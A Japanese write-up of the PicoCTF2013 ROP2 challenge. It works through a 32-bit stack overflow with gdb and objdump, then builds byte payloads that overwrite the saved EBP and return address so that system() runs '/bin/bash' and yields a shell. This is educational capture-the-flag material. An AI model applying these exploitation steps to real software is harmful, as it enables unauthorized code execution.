PicoCTF2013 ROP2 Writeup
前回に引き続き、PicoCTF2013の問題。今回はROP2。
問題編
今回もソースコード付きの問題。 前回と比べて差分もちょっとだけで、system関数を使っているところは同じだが、/bin/bash文字列が別の場所に定義されている。
# diff -b ../ROP1/rop1.c rop2-20f65dd0bcbe267d.c 5a6,7 > char * not_used = "/bin/bash"; > 7c9 < return system("/bin/bash"); --- > return system("/bin/date");
解答編
まずは基本的な調査。
# file rop2-20f65dd0bcbe267d rop2-20f65dd0bcbe267d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f59c4efbc216be9521154b3858d1eeeaa431bae5, not stripped # gdb -q ./rop2-20f65dd0bcbe267d Reading symbols from /root/ctf/picoCTF2013/ROP2/rop2-20f65dd0bcbe267d...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
EIPを取るところまでは前回と同じ。
前回のexploitとなった入力(input3)を使用してsystem関数の挙動を見てみる。
0x80484aa <not_called+6>: mov DWORD PTR [esp],0x804861a => 0x80484b1 <not_called+13>: call 0x80483a0 <system@plt> 0x80484b6 <not_called+18>: leave 0x80484b7 <not_called+19>: ret 0x80484b8 <vulnerable_function>: push ebp 0x80484b9 <vulnerable_function+1>: mov ebp,esp Guessed arguments: arg[0]: 0x804861a ("/bin/date")
すると、system関数を呼び出す直前に、スタックに/bin/date文字列を指すポインタを格納している。 よって、スタックの先頭に/bin/bash文字列を指すポインタを設定できれば解けそうなことがわかる。
まずは、/bin/bash文字列のアドレスを調べる。 objdumpに引数'-s'を与えると、プログラムで使用している文字列がどこのアドレスに格納されているかわかる模様。
# objdump -s -D -Mintel rop2-20f65dd0bcbe267d | grep bin 8048608 03000000 01000200 2f62696e 2f626173 ......../bin/bas 8048618 68002f62 696e2f64 61746500 48656c6c h./bin/date.Hell
この結果から、スタックの先頭に0x08048610を格納すればよいことがわかる。
試しに、デバッガで直接、ポインタの値を変更して実行してみた。
=> 0x80484aa <not_called+6>: mov DWORD PTR [esp],0x804861a 0x80484b1 <not_called+13>: call 0x80483a0 <system@plt> gdb-peda$ x/7b 0x80484aa 0x80484aa <not_called+6>: 0xc7 0x04 0x24 0x1a 0x86 0x04 0x08 gdb-peda$ x/4b 0x80484ad 0x80484ad <not_called+9>: 0x1a 0x86 0x04 0x08 gdb-peda$ set *0x80484ad=0x08048610 gdb-peda$ x/4b 0x80484ad 0x80484ad <not_called+9>: 0x10 0x86 0x04 0x08 0x80484aa <not_called+6>: mov DWORD PTR [esp],0x8048610 => 0x80484b1 <not_called+13>: call 0x80483a0 <system@plt> 0x80484b6 <not_called+18>: leave 0x80484b7 <not_called+19>: ret 0x80484b8 <vulnerable_function>: push ebp 0x80484b9 <vulnerable_function+1>: mov ebp,esp Guessed arguments: arg[0]: 0x8048610 ("/bin/bash") [------------------------------------stack-------------------------------------] 0000| 0xffffd5c4 --> 0x8048610 ("/bin/bash") [New process 19957] process 19957 is executing new program: /usr/bin/bash [Switching to process 19957]
なんとなく、bashが起動できてそうな雰囲気。
ここで、デバッガで色々動かしてみて、スタックの様子を観察してみた。
main関数からvuln関数を呼び出すときは、上図のようにmain関数の次の実行アドレスを戻りアドレスとして スタックに積み、その上にmain関数で指していたEBPの値を積むことになっている。
前回のROP1では上図の緑色の「戻りアドレス」を書き換えれば攻略できた。
今回のROP2では、戻りアドレスを書き換えるとともに、 青色の元々はmainで使用していたスタック領域も書き換えればよさそう。
以下の2点を考慮して入力(input4)を作成。
- 戻りアドレスはnot_called関数の先頭アドレスではなく、system関数をcallするアドレス(0x080484b1)。
- スタックの戻りアドレスの直後に、/bin/bash文字列のアドレス(0x08048610)を格納。
# python -c 'import sys; sys.stdout.write("A"*140)' > input4 && echo -ne '\xb1\x84\x04\x08\x10\x86\x04\x08' >> input4
この入力を使ってデバッガ実行してみる。
EBP: 0x41414141 ('AAAA') ESP: 0xffffd5dc --> 0x80484b1 (<not_called+13>: call 0x80483a0 <system@plt>) EIP: 0x80484e0 (<vulnerable_function+40>: ret) EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80484d3 <vulnerable_function+27>: mov DWORD PTR [esp],0x0 0x80484da <vulnerable_function+34>: call 0x8048380 <read@plt> 0x80484df <vulnerable_function+39>: leave => 0x80484e0 <vulnerable_function+40>: ret 0x80484e1 <be_nice_to_people>: push ebp 0x80484e2 <be_nice_to_people+1>: mov ebp,esp 0x80484e4 <be_nice_to_people+3>: sub esp,0x28 0x80484e7 <be_nice_to_people+6>: call 0x8048390 <getegid@plt> [------------------------------------stack-------------------------------------] 0000| 0xffffd5dc --> 0x80484b1 (<not_called+13>: call 0x80483a0 <system@plt>) 0004| 0xffffd5e0 --> 0x8048610 ("/bin/bash") 0008| 0xffffd5e4 --> 0x8000 0012| 0xffffd5e8 --> 0x8048549 (<__libc_csu_init+9>: add ebx,0x1aab) 0016| 0xffffd5ec --> 0xf7fc2000 --> 0x1b9d9c 0020| 0xffffd5f0 --> 0x8048540 (<__libc_csu_init>: push ebp) 0024| 0xffffd5f4 --> 0x0 0028| 0xffffd5f8 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080484e0 in vulnerable_function () gdb-peda$ Cannot access memory at address 0x41414145
エラーとなり、system関数が実行される前に終了してしまっている模様。
EBPが適当な値になっていないので、それらしい値に変更した入力(input5)を作成。
# python -c 'import sys; sys.stdout.write("A"*136)' > input5 && echo -ne '\xdc\xd5\xff\xff\xb1\x84\x04\x08\x10\x86\x04\x08' >> input5
EBP: 0xffffd5dc --> 0x80484b1 (<not_called+13>: call 0x80483a0 <system@plt>) ESP: 0xffffd5e0 --> 0x8048610 ("/bin/bash") EIP: 0x80484b1 (<not_called+13>: call 0x80483a0 <system@plt>) EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80484a5 <not_called+1>: mov ebp,esp 0x80484a7 <not_called+3>: sub esp,0x18 0x80484aa <not_called+6>: mov DWORD PTR [esp],0x804861a => 0x80484b1 <not_called+13>: call 0x80483a0 <system@plt> 0x80484b6 <not_called+18>: leave 0x80484b7 <not_called+19>: ret 0x80484b8 <vulnerable_function>: push ebp 0x80484b9 <vulnerable_function+1>: mov ebp,esp Guessed arguments: arg[0]: 0x8048610 ("/bin/bash") [------------------------------------stack-------------------------------------] 0000| 0xffffd5e0 --> 0x8048610 ("/bin/bash") 0004| 0xffffd5e4 --> 0x8000 0008| 0xffffd5e8 --> 0x8048549 (<__libc_csu_init+9>: add ebx,0x1aab) 0012| 0xffffd5ec --> 0xf7fc2000 --> 0x1b9d9c 0016| 0xffffd5f0 --> 0x8048540 (<__libc_csu_init>: push ebp) 0020| 0xffffd5f4 --> 0x0 0024| 0xffffd5f8 --> 0x0 0028| 0xffffd5fc --> 0xf7e219a3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080484b1 in not_called () gdb-peda$ [New process 21955] process 21955 is executing new program: /usr/bin/bash [Switching to process 21955]
今度は見事にbashを起動することができた。
# cat input5 /dev/stdin | ./rop2-20f65dd0bcbe267d ls
前回同様、標準入力が閉じないようにすると、シェルが取れてコマンドが実行可能に!
学んだこと
- objdump -s で格納文字列の情報もダンプできる。
- vuln関数におけるスタックオーバフローにより、呼び出し元関数のスタックを変更し悪用することが可能。
追記
デバッガを使用しなければ、input4でもシェルを取ることができる模様。